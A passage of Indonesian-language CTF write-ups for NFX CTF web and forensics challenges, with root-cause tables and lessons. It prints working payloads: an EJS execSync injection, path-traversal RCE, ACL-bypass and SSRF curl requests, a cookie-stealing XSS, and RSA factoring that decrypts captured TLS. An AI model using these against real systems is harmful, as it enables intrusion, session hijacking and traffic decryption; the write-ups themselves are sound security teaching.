    // Accelerator initialized
}
```

Supervisor:

```
[program:node_app]
directory=/app
command=node app.js
autostart=true
autorestart=true
user=root
```

Setelah helper.node ditimpa, worker perlu di-restart (mis. memicu uncaught exception/crash). Supervisor akan menjalankan node app.js lagi, lalu process.dlopen() mengeksekusi shared object berbahaya sebagai **root** (cukup jalankan /readflag yang setuid root atau baca /root/flag.txt).

Alternatif tanpa restart: overwrite template EJS

NODE_ENV tidak diset sehingga view cache Express nonaktif; template dibaca ulang setiap render. Upload dengan filename=../../views/index.ejs berisi payload EJS, lalu GET / akan mengeksekusinya:

```
<%= process.mainModule.require('child_process').execSync('/readflag').toString() %>
```

Root Cause

#	Bug	Lokasi
1	Mass assignment seluruh body ke session user	routes/auth.js — handleProfileUpdate (Object.assign)
2	Arbitrary file read	routes/posts.js — path.resolve(__dirname,

#	Bug	Lokasi
		'../uploads', req.query.file)
3	Arbitrary file write / path traversal	routes/posts.js — multer.diskStorage + preservePath: true + filename = originalname
4	Eksekusi native addon dari file yang writable	app.js — process.dlopen(..., 'helper.node') + supervisor autorestart=true

Faktor yang memperparah: proses berjalan sebagai **root**, flag hanya diproteksi permission (600) sehingga siapa pun yang bisa membaca file sebagai root bisa mengambilnya, dan /app writable oleh root meski chmod 555.

Flag

```
NFX{f3w_n_d4y_ch41ns_f0r_w3b_pwn_1s_n0t_th4t_h4rd_7734a1}
```

Pelajaran

- Object.assign({}, user, req.body) adalah pola mass-assignment klasik; satu field role=admin sudah cukup untuk membuka seluruh endpoint "admin".
- path.resolve() **bukan** sandbox: argumen absolut me-reset base path, berbeda dengan asumsi banyak developer.
- multer + preservePath: true + filename = originalname = arbitrary file write. Jika aplikasi memuat .node/template dari direktori tersebut, file write langsung berubah menjadi RCE.
- Permission file bukan batas keamanan jika prosesnya berjalan sebagai root; flag 600 tetap terbaca melalui arbitrary file read.

NexusGate — Web Exploitation (Hard)

- **Challenge:** NexusGate
- **Event:** NFX CTF
- **Category:** Web Exploitation
- **Target:** http://s1.nfx.my.id:46915
- **Source:** Web-Exploitation/NexusGate/NexusGate/ (docker-compose + src/)
- **Flag:** NFX{n3xu5_g4t3_0v3r_gr4nt_c4ch3_smuggl3_2026}

Deskripsi

> NexusGate adalah gerbang identitas utama perusahaan dan vault identitas yang mengelola single sign-on internal serta tata kelola akses karyawan. Arsitekturnya terdiri dari edge reverse proxy yang di-harden di depan microservice vault internal, dipatok pada rilis Node.js tertentu.
>
> Pemeriksaan keamanan internal mengindikasikan bahwa perbedaan perilaku antara parser edge, cacher statement, tree model izin, dan interceptor shared cache dapat memungkinkan penyerang melewati ACL edge, membocorkan token hak akses, melewati sandboxing file system, dan mengambil ticket administratif.

Empat diferensial di deskripsi memetakan persis ke rantai exploit:

#	Komponen	Diferensial	Dampak
1	Edge proxy	req.url.startsWith('/internal/') (raw) vs new URL() (ternormalisasi)	Bypass ACL /internal/
2	Statement cacher	DatabaseSync.createTagStore() + cursor iterator	Bocor PHASE_TOKEN admin via journal
3	Permission tree	--permission --allow-fs-read=<file> di Node 24.14.0	Over-grant: /app/data/bot bisa dibaca
4	Shared cache	undici cache interceptor + Cache-Control: private=""	Bocor MASTER_TICKET dari cache admin

Arsitektur

Dari src/:

- proxy.js — edge reverse proxy di port 80.
  - ACL: if (req.url.startsWith('/internal/')) → 403.
  - /tickets/* GET diproksi lewat ticketClient.compose(interceptors.cache()) (shared cache).
  - Path lain diteruskan generik ke 127.0.0.1:8080.

- app.js + lib/routes.js — vault internal di 127.0.0.1:8080.
- lib/db.js — SQLite in-memory; admin punya secret PHASE_TOKEN; MASTER_TICKET dipakai untuk /flag.
- lib/bot.js — worker admin tiap 45 detik:
  - cookie session=<random> di-set sebagai user admin,
  - request GET /tickets/latest?aud=<nonce> ke port 80 (edge),
  - setelah response selesai, menulis nonce ke /app/data/bot.
- Dockerfile — FROM node:24.14.0-bookworm-slim; entrypoint menulis data/bot1.json, bot2.json, bot3.json.
- Internal ops (tanpa autentikasi, hanya dijaga ACL edge):
  - POST /internal/console/cursor?id=&owner= → menyimpan tagStore.iterate ke cursors.
  - GET /internal/console/cursor?id=&journal= → it.next(); response hanya owner, tetapi journal mencatat secret baris tersebut.
  - POST /internal/console/files → spawn Node dengan --permission dan allowlist file, membaca NX_TARGET, hasilnya di-journal.

Recon

Target tidak disertakan langsung; scan /health pada host menemukan service:

```
nmap -Pn -p 40000-50000 --open s1.nfx.my.id
curl -s http://s1.nfx.my.id:46915/health
# {"ok":true,"service":"nexusgate","node":"v24.14.0"}
```

node:"v24.14.0" penting: versi ini dipatok karena perilaku permission tree yang dieksploitasi di langkah 3.

Eksploitasi

0. Register akun attacker

```
curl -s -c jar.txt -X POST http://s1.nfx.my.id:46915/register \
  --data-urlencode 'username=attacker' \
  --data-urlencode 'password=pw'
# {"ok":true,"session":"..."}
```

/audit (dengan Accept: application/json) nanti dipakai untuk membaca journal milik akun ini.

1. Bypass ACL edge (/internal/)

Proxy memeriksa string mentah:

```
if (req.url.startsWith('/internal/')) { /* 403 */ }
```

Backend memakai WHATWG URL:

```
const url = new URL(req.url, 'http://127.0.0.1:8080'); // pathname ternormalisasi
```

Kirim path yang **tidak** diawali /internal/ tetapi dinormalisasi menjadi /internal/... oleh new URL():

```
# 403
curl -s --path-as-is -g 'http://TARGET/internal/console/cursor'

# bypass -> backend (400 "id required" / "no such cursor")
curl -s --path-as-is -g 'http://TARGET/./internal/console/cursor'
curl -s --path-as-is -g 'http://TARGET/%2e/internal/console/cursor'
curl -s --path-as-is -g 'http://TARGET/%2e%2e/internal/console/cursor'
```

--path-as-is -g wajib agar curl tidak menormalkan /./ sebelum mengirim.

2. Bocorkan PHASE_TOKEN admin (cursor + journal)

Internal endpoint tidak memeriksa session; ACL edge adalah satu-satunya gerbang.

```
# buat cursor untuk owner admin
curl -s --path-as-is -g -X POST \
  'http://TARGET/./internal/console/cursor?id=leak&owner=admin'
# {"ok":true}

# ambil satu baris; secret di-journal ke user attacker
curl -s --path-as-is -g \
  'http://TARGET/./internal/console/cursor?id=leak&journal=attacker'
# {"done":false,"owner":"admin"}

# baca journal sebagai attacker
curl -s -b jar.txt -H 'Accept: application/json' \
  'http://TARGET/audit'
```

Hasil di journal:

```
vault row: owner=admin secret=<PHASE_TOKEN>
```

PHASE_TOKEN didapat. Mekanismenya: response cursor hanya mengembalikan owner, tetapi kode menulis seluruh baris (owner + secret) ke journal untuk juser yang **attacker-controlled**.

```
if (juser) journal(juser, `vault row: owner=${row.owner} secret=${row.secret}`);
```

3. Bypass filesystem sandbox → baca nonce bot

Endpoint files men-spawn Node dengan allowlist file:

```
spawnSync(process.execPath, [
  '--permission',
  '--allow-fs-read=/app/data/bot1.json',
  '--allow-fs-read=/app/data/bot2.json',
```

```
  '--allow-fs-read=/app/data/bot3.json',
  '-e', 'try{console.log(require("fs").readFileSync(process.env.NX_TARGET,"utf8"))}catch(e){...}',
], { env: { NX_TARGET: filePath, ... } });
```

Pada Node 24.14.0, permission model membangun **tree/radix dari path yang diizinkan**. Ketiga file yang diizinkan berbagi prefix /app/data/bot:

```
/app/data/bot1.json
/app/data/bot2.json
/app/data/bot3.json
            ^ divergence
prefix bersama: /app/data/bot
```

Node 24.14.0 menganggap node prefix bersama itu ikut diizinkan, sehingga /app/data/bot (file yang ditulis bot, bukan file yang masuk allowlist) bisa dibaca.

Reproduksi lokal dengan Node 24.14.0:

```
# 3 file yang diizinkan, prefix /tmp/d/bot
node --permission \
  --allow-fs-read=/tmp/d/bot1.json \
  --allow-fs-read=/tmp/d/bot2.json \
  --allow-fs-read=/tmp/d/bot3.json \
  -e '...readFileSync(process.env.NX_TARGET)...'

# NX_TARGET=/tmp/d/bot              -> "NONCE" (OVER-GRANT)
# NX_TARGET=/tmp/d/other.txt        -> ERR:ERR_ACCESS_DENIED
# hanya 2 file diizinkan            -> /tmp/d/bot = ERR_ACCESS_DENIED
```

Kirim ke endpoint files (butuh PHASE_TOKEN dari langkah 2):

```
curl -s --path-as-is -g -X POST 'http://TARGET/./internal/console/files' \
  -H 'Content-Type: application/json' \
  -d '{"token":"<PHASE_TOKEN>","path":"/app/data/bot","journal":"attacker"}'
# {"ok":true}

curl -s -b jar.txt -H 'Accept: application/json' 'http://TARGET/audit'
# file read: /app/data/bot -> <NONCE>
```

<NONCE> adalah nilai ?aud= yang dipakai bot pada request admin terakhir (bot cycle 45 detik, cache 300 detik).

4. Cache smuggling → bocorkan MASTER_TICKET

Backend /tickets/latest:

```
res.setHeader('Cache-Control', 'public, max-age=300, private="""');
if (wantsHtml) return html(200, views.ticketsHtml(user, MASTER_TICKET));
```

Bot admin memanggil /tickets/latest?aud=<NONCE> dengan Accept: text/html, sehingga response HTML berisi master ticket, lalu di-cache oleh edge:

```
const ticketDispatcher = ticketClient.compose(interceptors.cache());
```

Dua detail yang membuat response admin bisa dibaca attacker:

1. **undici cache default type: 'shared'.** Parser Cache-Control menganggap private tanpa nilai sebagai private: true (tidak boleh di shared cache), tetapi private="" diparse sebagai daftar header kosong (private: []), bukan true. Akibatnya response **tetap dianggap cacheable** oleh shared cache.
2. **Cache key tidak memuat cookie/auth** (tidak ada Vary: Cookie), hanya origin + method + path (termasuk query). Jadi siapa pun yang tahu path ?aud=<NONCE> mendapat response admin yang tersimpan.

Tembak path yang sama:

```
curl -s --path-as-is -g -D - \
  'http://TARGET/tickets/latest?aud=<NONCE>' \
  -H 'Accept: text/html,application/xhtml+xml' -o ticket.html
```

Header age: <detik> menandakan cache hit. Di body:

```
<span class="ticket font-mono text-emerald-400 ...">8c0474843ee2c632601efee3ad758bba</span>
<meta name="nx-ticket" content="8c0474843ee2c632601efee3ad758bba">
```

<MASTER_TICKET> didapat.

5. Ambil flag

```
curl -s -X POST 'http://TARGET/flag' \
  -H 'Content-Type: application/json' \
  -d '{"ticket":"<MASTER_TICKET>"}'
# {"flag":"NFX{n3xu5_g4t3_0v3r_gr4nt_c4ch3_smuggl3_2026}"}
```

Ringkasan Chain

```
/./internal/... (ACL bypass)
   -> POST /internal/console/cursor?owner=admin
   -> GET  ...&journal=attacker
   -> GET  /audit  => PHASE_TOKEN

/./internal/console/files {token, path:/app/data/bot, journal}
   -> Node 24.14.0 permission-tree over-grant
   -> GET /audit => NONCE (aud)

GET /tickets/latest?aud=NONCE
   -> undici shared cache + private=""
   -> MASTER_TICKET
```

```
POST /flag {ticket: MASTER_TICKET}
  -> FLAG
```

Root Cause

#	Root cause	File
1	ACL memakai req.url mentah; backend memakai URL.pathname yang menormalkan /./%2e	proxy.js, lib/routes.js
2	Internal endpoint tanpa autentikasi; journal menerima username arbitrer dan mencatat secret	lib/routes.js
3	Node 24.14.0 permission tree over-grant pada prefix bersama dari 3 file yang diizinkan	lib/routes.js (spawn --permission)
4	Shared cache undici menyimpan response admin karena private="" diparse sebagai daftar header kosong, dan cache key tidak memuat auth/Vary	proxy.js, lib/routes.js
5	Bot memakai session admin statis untuk request yang response-nya masuk shared cache	lib/bot.js

Flag

```
NFX{n3xu5_g4t3_0v3r_gr4nt_c4ch3_smuggl3_2026}
```

Pelajaran

- Selisih parser (raw string vs URL ternormalisasi) adalah bug berulang: '/./internal', /%2e/internal, dan /%2e%2e/internal semuanya lolos dari startsWith('/internal/').
- Response yang "hanya menampilkan owner" tidak berarti aman: side effect journaling membocorkan secret.
- --permission Node masih eksperimental; tree prefix dapat over-grant file yang bukan bagian allowlist. Tiga file bersaudara dengan prefix sama cukup untuk membuka /app/data/bot.
- Shared cache harus memperhitungkan autentikasi; private="" adalah contoh nyata directive malformed yang membuat response admin masuk cache bersama.
- Nonce ?aud= yang ditulis bot ke file adalah jembatan antara filesystem over-grant dan cache smuggling.

LinkVault — Web Exploitation (Hard)

- **Challenge:** LinkVault
- **Event:** NFX CTF
- **Category:** Web Exploitation
- **Target:** http://s1.nfx.my.id:45697
- **Source:** Web-Exploitation/LinkVault/LinkVault/ (docker-compose + src/)
- **Flag:** NFX{L1nkV4ult_cve_26_3p1c_!}

Deskripsi

> LinkVault adalah platform tinjauan tautan dan moderasi perusahaan yang dibangun di atas Go 1.26.0. Pengguna dapat mengirimkan URL yang kemudian dimuat ke dalam antrean filter konten internal, dan tim peninjau akan memeriksa setiap item melalui konsol moderasi administratif.
>
> Pemeriksaan keamanan internal mengindikasikan bahwa terdapat kejanggalan parsing pada URL parser Go serta perilaku escaping ekspresi reguler pada engine template HTML yang dapat memungkinkan penyerang melewati pembatasan jaringan lokal, menyisipkan aturan filter tanpa otorisasi, dan mengeksekusi Cross-Site Scripting (XSS) untuk mengambil alih sesi administrator.

Rantai exploit:

1. **SSRF bypass** — deny-list memeriksa url.Hostname() mentah; host Unicode 127。0。0。1 (U+3002) tidak cocok dengan 127.0.0.1, tetapi HTTP client Go tetap terhubung ke loopback.
2. **Unauthorized filter insertion** — API internal 127.0.0.1:8081/internal/import hanya memeriksa RemoteAddr, tanpa validasi filter. SSRF dari aplikasi membuat request berasal dari loopback, sehingga lolos.
3. **XSS** — moderation.html menaruh filter di dalam literal regex: /{{.Filter}}/g. html/template meng-escape nilai sebagai string JS (quote/backslash/</>/&) tetapi **tidak meng-escape /**, sehingga filter dapat menutup regex literal dan menyisipkan JavaScript.
4. **Session takeover** — Chromium bot menyetel cookie admin untuk 127.0.0.1 (tanpa HttpOnly) lalu membuka /moderation. XSS mengeksfiltrasi document.cookie ke inbox attacker lewat /api/share, lalu session admin dipakai untuk membaca /flag.

Arsitektur (dari source)

- main.go — public listener :80.
- internal.go — internal crawler API 127.0.0.1:8081 dan [::1]:8081:

    - GET /internal/import?filter=&title= → cek RemoteAddr harus 127.0.0.1/::1, lalu internalAddItem(title, filter) **tanpa validasi filter**.
- bot.go — Chromium headless tiap 25 detik:
    - network.SetCookie("session", adminSID).WithDomain("127.0.0.1").WithPath("/")
    - chromedp.Navigate("http://127.0.0.1:80/moderation")
- handlers.go — guardedFetch (SSRF), /submit, /api/share, /moderation, /flag.
- store.go — session map, queue, adminSID, safeFilter = ^[a-zA-Z0-9 ._\-*+]{0,64}$ (hanya dipakai di /submit).
- templates/moderation.html — sink XSS:

```
<script>if (true) { /{{.Filter}}/g.test("x") }</script>
```

Recon

1. GET / → landing LinkVault (Go).
2. Register/login: /register, /login; cookie session (tidak HttpOnly, tanpa Secure).
3. Route setelah login: /dashboard, /submit, /history, /reports (alias /inbox), /admin, /moderation, /flag.
4. /moderation → 403 admin only, /flag → {"err":"admin only"}.
5. /submit menampilkan info penting:
    - Proxy Mode: Strict IDN
    - **Blocks internal loopbacks: localhost, 127.0.0.1, admin.internal.**
    - **Headless Chromium audits submitted URLs** (~25 detik).
6. Source internal.go membocorkan service internal di 127.0.0.1:8081; source moderation.html membocorkan sink XSS.

Eksploitasi

1. Bypass deny-list SSRF (Go URL parser)

guardedFetch:

```
u, _ := url.Parse(rawURL)
host := strings.ToLower(u.Hostname())
if blockedHosts[host] { return "", errors.New("host is not allowed") }
pretty, _ := idna.ToUnicode(host)
...
u.Host = net.JoinHostPort(pretty, port)
resp, err := httpClient.Get(u.String())
```

blockedHosts hanya berisi string literal admin.internal, localhost, 127.0.0.1. Gunakan pemisah label Unicode U+3002 (ideographic full stop) pada host:

```
127。0。0。1
```

- u.Hostname() = 127。0。0。1 → tidak ada di deny-list.
- HTTP client Go menormalkan host tersebut dan melakukan dial ke 127.0.0.1.

Verifikasi di target:

```
# submit SSRF ke port 80 (aplikasi sendiri)
# preview menampilkan halaman LinkVault, bukan "host is not allowed"
```

2. Sisipkan filter rule tanpa otorisasi (internal crawler)

Target internal: http://127。0。0。1:8081/internal/import?filter=...&title=...

Endpoint hanya mengecek RemoteAddr:

```
ip, _, _ := net.SplitHostPort(r.RemoteAddr)
if ip != "127.0.0.1" && ip != "::1" { 403 }
...
internalAddItem(title, filter) // tidak ada safeFilter.MatchString
```

Karena request dilakukan oleh aplikasi sendiri (SSRF), RemoteAddr adalah 127.0.0.1, sehingga lolos. Filter yang dikirim langsung masuk ke queue dan akan dirender di /moderation.

3. XSS via escaping regex di html/template

moderation.html:

```
{{range .Items}}
  <h3>{{.Title}}</h3>
  <script>if (true) { /{{.Filter}}/g.test("x") }</script>
{{end}}
```

Go html/template mendeteksi action di dalam /.../ dan meng-escape nilainya sebagai **string JS** (menambahkan quote dan meng-escape ", \, <, >, & menjadi \uXXXX), tetapi **tidak meng-escape /**. Akibatnya filter yang mengandung / menutup regex literal lebih awal dan sisa teksnya menjadi kode JavaScript.

Filter berbahaya (dikirim ke internal API, bukan ke form /submit sehingga tidak kena safeFilter):

```
a/;fetch('/api/share?to=<user>&d='+encodeURIComponent(document.cookie))}//
```

Hasil render (disederhanakan):

```
<script>
if (true) {
```

```
/"a/;fetch('/api/share?to=lv31110\u0026d='+encodeURIComponent(document.cookie))}//"/g.test("x") }
</script>
```

Penjelasan:

- Regex /"a/ berakhir di / pertama setelah a.
- ;fetch('/api/share?...') dieksekusi.
- } menutup blok if (true) {.
- // meng-comment sisa template ("/g.test("x") }).
- & di dalam string di-escape menjadi \u0026 oleh Go, tetapi tetap valid sebagai string JS (bernilai &).

Catatan: karakter </> di-escape menjadi \u003c/\u003e. Karena itu payload tidak boleh memakai arrow function (=>) di luar string, sebab \u003e akan menjadi syntax error. Gunakan function(r){...} seperti payload di atas.

4. Trigger bot dan curi session admin

bot.go setiap 25 detik:

```
network.SetCookie("session", adminSID).WithDomain("127.0.0.1").WithPath("/")
chromedp.Navigate("http://127.0.0.1:80/moderation")
```

Cookie session disetel tanpa HttpOnly, jadi JavaScript dapat membacanya. XSS berjalan di origin http://127.0.0.1:80, same-origin dengan /api/share, dan request fetch membawa cookie admin.

/api/share hanya membutuhkan session valid (bot admin) dan menerima to/d dari query:

```
func handleShare(w, r) {
   _, ok := sessionUser(r); if !ok { 401 }
   to := r.URL.Query().Get("to")
   data := r.URL.Query().Get("d")
   inbox[to] = append(inbox[to], data)
   ...
}
```

Jadi XSS mengirim cookie admin ke inbox milik attacker.

5. Ambil flag

Setelah bot cycle (≤ ~25 detik), baca /reports sebagai attacker:

```
curl -s -b jar.txt http://TARGET/reports
# ...
# session=0ca62a023cf7bcf2f9c0e88e90793c7a
```

Gunakan session admin tersebut:

```
curl -s -H 'Cookie: session=0ca62a023cf7bcf2f9c0e88e90793c7a' \
  http://s1.nfx.my.id:45697/flag
# {"flag":"NFX{L1nkV4ult_cve_26_3p1c_!}"}
```

Alternatif: XSS bisa langsung fetch('/flag') (same-origin, dengan cookie admin) lalu mengirim hasilnya ke /api/share, tanpa perlu memakai cookie di luar.

Payload Lengkap (ringkas)

```
payload = "a/;fetch('/api/share?to=<user>&d='+encodeURIComponent(document.cookie))}//"
ssrf = "http://127。0。0。1:8081/internal/import?filter=" + quote(payload) + "&title=xss"
requests.post("/submit", data={"url": ssrf, "filter": "xss"})
# tunggu bot cycle, lalu baca /reports
```

Root Cause

#	Root cause	Lokasi
1	Deny-list berbasis string u.Hostname(); host Unicode (U+3002) tidak dinormalisasi untuk pengecekan, tetapi HTTP client Go tetap melakukan dial ke loopback	handlers.go — guardedFetch
2	Internal API hanya memeriksa RemoteAddr; SSRF dari aplikasi lolos; filter tidak divalidasi	internal.go — /internal/import
3	html/template meng-escape filter sebagai string JS di dalam regex literal, tetapi / tidak di-escape → breakout	templates/moderation.html
4	Cookie admin disetel untuk 127.0.0.1 tanpa HttpOnly; bot membuka halaman yang merender input tidak tepercaya	bot.go, store.go
5	/api/share menerima to/d arbitrer dari user mana pun yang punya session, tanpa CSRF/otorisasi	handlers.go — handleShare

Flag

```
NFX{L1nkV4ult_cve_26_3p1c_!}
```

Pelajaran

- Perbedaan antara parser/pemeriksa dan komponen yang benar-benar melakukan koneksi (URL parser vs resolver/dialer) adalah sumber bypass SSRF yang konsisten: 127。0。0。1 lolos dari Hostname() tetapi tetap menjadi loopback saat dial.
- Pemeriksaan RemoteAddr == 127.0.0.1 bukan otentikasi; SSRF dari proses lokal otomatis memenuhi syarat tersebut.
- html/template memang meng-escape konteks JS, tetapi konteks regex dan karakter / dapat menghasilkan breakout; selalu uji payload di dalam template yang sebenarnya.

- Cookie admin tanpa HttpOnly + bot yang merender input pengguna = satu XSS cukup untuk takeover penuh.
- /api/share yang menerima tujuan arbitrer adalah kanal exfiltrasi same-origin yang sangat nyaman bagi XSS.

FORENSICS

FORENSIK

Weak Handshake — Forensik (Medium)

Flag: NFX{D36A64128F80788B60C677EF94EA7157}

Deskripsi

> Beberapa kenangan mudah terlihat di awal. Namun ending-nya dikirim melalui koneksi terenkripsi, tersembunyi di balik handshake yang ternyata tidak cukup kuat untuk menjaganya. Awalnya mungkin terlihat jelas, tetapi ending milik Tomoyo masih menunggu di dalam capture. Temukan apa yang tertinggal.

Artefak: capture.pcapng (meskipun ekstensinya demikian, ini adalah file libpcap klasik yang menggunakan tipe link-layer LINKTYPE_LINUX_SLL2 (276))

Ringkasan Singkat (TL;DR)

Capture berisi dua layanan pada 192.168.56.100:

1. Sesi **FTP anonim** (port 2121) — bagian yang "mudah terlihat di awal". Hanya berisi gambar decoy.
2. Dua sesi **TLS 1.2** ke tomoyo.local:8443 menggunakan cipher suite lawas TLS_RSA_WITH_AES_128_CBC_SHA (pertukaran kunci RSA statis, tanpa forward secrecy). Kunci RSA 1024-bit milik server dibuat dengan p dan q yang terlalu berdekatan, sehingga sangat mudah difaktorkan dengan **metode faktorisasi Fermat**. Setelah kunci privat berhasil dipulihkan, kita dapat mendekripsi kedua sesi dan mengambil ending.jpg, yang memiliki flag tercetak sebagai watermark.

Langkah 1 — Melakukan parsing capture

Tidak tersedia tshark/scapy di environment penyelesaian, sehingga pcap di-parse secara manual menggunakan Python:

- Header global pcap klasik (magic d4c3b2a1), linktype = 276 (LINKTYPE_LINUX_SLL2).
- Setiap paket: header SLL2 20 byte, lalu paket IPv4.
- Pengelompokan berdasarkan 4-tuple TCP (dirakit ulang menggunakan sequence number untuk menangani retransmisi/capture yang tidak berurutan) menghasilkan empat stream:

Stream	Port	Byte	Konten
2121 ↔ 36538	Kontrol FTP	399	perintah FTP plaintext
42345 ↔ 44956	Data FTP	262,796	clannad.webp (decoy)
8443 ↔ 56410	TLS #1	69,457	GET /begin.jpg
8443 ↔ 56422	TLS #2	326,344	GET /ending.jpg

Langkah 2 — Decoy (FTP, port 2121)

Sesi FTP bersifat plaintext dan mudah dibaca langsung dari stream:

```
220 pyftpdlib 2.2.0 ready.
USER anonymous
331 Username ok, send password.
PASS ftp@example.com
230 Login successful.
...
RETR clannad.webp
226 Transfer complete.
```

Merakit ulang koneksi data (port 42345) menghasilkan gambar WebP yang valid — hanya cover art resmi *Clannad*. Tidak ada flag, tidak ada stego, tidak ada yang berguna. Ini sesuai dengan petunjuk: *"awalnya mungkin terlihat jelas"* — bagian yang jelas dan terlihat, sekaligus jalan buntu.

Langkah 3 — Mengidentifikasi kelemahan (TLS, port 8443)

Kedua koneksi TLS menegosiasikan:

- **Cipher suite:** 0x002F = TLS_RSA_WITH_AES_128_CBC_SHA (pertukaran kunci = RSA statis, tanpa pesan ServerKeyExchange — artinya **tanpa forward secrecy**. Jika kita mendapatkan kunci privat server, setiap sesi lama yang menggunakannya dapat didekripsi.)
- **Ekstensi:** encrypt_then_mac (RFC 7366) dan extended_master_secret (RFC 7627) — keduanya dinegosiasikan, sehingga derivasi kunci TLS 1.2 "standar" perlu dua penyesuaian (lihat Langkah 5).
- **Sertifikat:** CN=tomoyo.local, RSA-1024, e = 65537.

Kedua sesi menggunakan sertifikat/kunci yang *persis sama*.

Memfaktorkan modulus

Modulus RSA 1024-bit biasanya jauh di luar jangkauan untuk difaktorkan secara kasual. Namun metode Fermat — yang mengasumsikan p dan q berdekatan — berhasil hampir seketika:

```
import math

def fermat_factor(n, max_steps=2_000_000):
    a = math.isqrt(n)
    if a * a < n:
        a += 1
    for _ in range(max_steps):
        b2 = a * a - n
        b = math.isqrt(b2)
        if b * b == b2:
            return a - b, a + b
        a += 1
```

```
p, q = fermat_factor(n)   # ditemukan jauh di bawah satu detik
```

Ini membuktikan "weak handshake": generator kunci memilih p dan q yang terlalu berdekatan, yang justru merupakan kelemahan yang dieksploitasi oleh faktorisasi Fermat. Dari p, q, dan eksponen publik e = 65537, kunci privat RSA dapat direkonstruksi dengan mudah:

```
from cryptography.hazmat.primitives.asymmetric.rsa import (
    RSAPrivateNumbers, RSAPublicNumbers,
    rsa_crt_dmp1, rsa_crt_dmq1, rsa_crt_iqmp,
)

phi = (p - 1) * (q - 1)
d = pow(e, -1, phi)
priv_key = RSAPrivateNumbers(
    p, q, d,
    rsa_crt_dmp1(d, p), rsa_crt_dmq1(d, q), rsa_crt_iqmp(p, q),
    RSAPublicNumbers(e, n),
).private_key()
```

Langkah 4 — Mendekripsi pre-master secret

Dari pesan handshake ClientKeyExchange setiap sesi, pre-master secret terenkripsi (PKCS#1 v1.5, dienkripsi RSA) didekripsi menggunakan kunci privat yang telah dipulihkan:

```
pms = priv_key.decrypt(enc_pms, padding.PKCS1v15())
```

pms[:2] bernilai 03 03 (sesuai versi pada ClientHello), yang mengonfirmasi bahwa dekripsi — dan karenanya faktorisasi — sudah benar.

Langkah 5 — Menurunkan session key (dua jebakan)

Dua ekstensi TLS yang dinegosiasikan mengubah derivasi "standar":

1. Extended Master Secret (RFC 7627). Alih-alih PRF(pms, "master secret", client_random + server_random), master secret menggunakan hash dari transkrip handshake:

```
session_hash = SHA256(ClientHello || ServerHello || Certificate ||
                      ServerHelloDone || ClientKeyExchange)   # raw bytes, header included

master_secret = PRF(pms, "extended master secret", session_hash)[:48]
```

2. Encrypt-then-MAC (RFC 7366). Tata letak record berubah dari Enc(plaintext || MAC) yang biasa menjadi IV || Ciphertext || MAC, di mana MAC dihitung atas *ciphertext* (beserta header record), bukan atas plaintext:

```
MAC = HMAC-SHA1(mac_key, seq_num(8) || type(1) || version(2) ||
                length(2) || IV || ciphertext)
```

Key block (72 byte, tidak perlu IV implisit karena CBC TLS 1.1+ menggunakan IV eksplisit per record):

```
key_block = PRF(master_secret, "key expansion",
                server_random + client_random, 72)

client_mac_key = key_block[0:20]
server_mac_key = key_block[20:40]
client_key     = key_block[40:56]
server_key     = key_block[56:72]
```

Validasi: menghitung ulang HMAC untuk setiap record setelah ChangeCipherSpec dan membandingkannya dengan MAC pada wire cocok untuk setiap record di kedua stream — bukti bahwa derivasi (dan kunci privat yang dipulihkan) sudah benar bahkan sebelum mencoba mendekripsi.

Langkah 6 — Mendekripsi application data

Setiap record TLS (content_type = 23) didekripsi sebagai:

```
iv         = record[:16]
ciphertext = record[16:-20]         # strip explicit IV and trailing MAC
plaintext  = AES_CBC_decrypt(key, iv, ciphertext)
plaintext  = strip_pkcs7_padding(plaintext)
```

Mendekripsi kedua arah mengungkap trafik HTTP plaintext:

```
GET /begin.jpg HTTP/1.1
Host: tomoyo.local:8443
...

GET /ending.jpg HTTP/1.1
Host: tomoyo.local:8443
...
```

dengan server merespons 200 OK dan mengirimkan body JPEG — begin.jpg (67.649 byte) dan ending.jpg (323.692 byte), sesuai dengan header Content-Length secara persis.

Langkah 7 — Menemukan flag

begin.jpg hanyalah CG normal lainnya (tidak ada data tersembunyi — sudah diperiksa EXIF, strings, byte tambahan setelah marker EOI JPEG, dan struktur segmen JPEG, tidak ada yang mencurigakan).

ending.jpg — sesuai petunjuk *"ending milik Tomoyo masih menunggu di dalam capture"* — memiliki flag yang dicetak langsung pada gambar sebagai watermark semi-transparan di area dada/kerah karakter. Cropping, upscaling (Lanczos), dan sharpening pada area tersebut membuatnya terbaca jelas:

```
{D36A64128F80788B60C677EF94EA7157}
```

Dibungkus sesuai format yang diminta challenge:

NFX{D36A64128F80788B60C677EF94EA7157}

Poin Penting

- TLS_RSA_WITH_AES_128_CBC_SHA (pertukaran kunci RSA statis) **tidak memiliki forward secrecy** — satu kunci privat yang bocor/dipulihkan dapat mendekripsi setiap sesi yang pernah menggunakannya, termasuk sesi yang sudah tertangkap.
- Keamanan RSA runtuh jika p dan q tidak dibuat dengan entropi/jarak yang cukup — faktorisasi Fermat mengubah kunci 1024-bit yang "aman" menjadi bukan masalah dalam hitungan milidetik.
- encrypt_then_mac dan extended_master_secret secara umum adalah praktik yang baik, tetapi keduanya tidak berarti apa-apa setelah mekanisme pertukaran kunci itu sendiri (RSA statis) rusak — "weak handshake" adalah kerentanan sebenarnya, bukan opsi pada layer record.
- Selalu periksa **kedua** koneksi/sertifikat TLS ketika ada lebih dari satu — di sini keduanya menggunakan kunci (rusak) yang sama, yang dengan sendirinya informatif (dan mengonfirmasi bahwa kerentanannya bersifat sistemik, bukan spesifik per sesi).

Tools yang Digunakan

- Python murni (struct, hashlib, hmac)
- cryptography (Python) — rekonstruksi kunci RSA, dekripsi AES-CBC
- Pillow — inspeksi gambar, cropping, upscaling untuk watermark

Panggilan Terakhir (Medium)

Platform: nfx.my.id
Kategori: Forensic (Network / VoIP)
Level: Medium
Flag: NFXCTF{ARSIP_MERAH_204}

Deskripsi

> Pukul 01.18 WIB, Raka menelepon Dina melalui telepon meja kantor Cakrawala setelah tahu Dina menemukan kode sebuah dokumen rahasia. Tak lama setelah panggilan itu, Dina ditemukan tewas di ruang arsip. Raka menjadi tersangka, tetapi penyidik belum mengetahui apa yang sempat diucapkan Dina sebelum telepon terputus. Sistem pemantauan jaringan kantor menyimpan rekaman paket panggilan itu dalam korban.pcap. Dengarkan percakapan terakhir Dina dan temukan flag yang ia ucapkan.

File yang diberikan: korban.pcap (sekitar 770 KB, 3430 paket).

Ringkasan solusi

1. Pcap berisi satu panggilan **SIP + RTP** dengan codec **G.711 μ-law (PCMU)**, tanpa enkripsi.
2. Ekstrak payload RTP dari kedua arah, decode μ-law ke PCM 16-bit, simpan sebagai WAV.
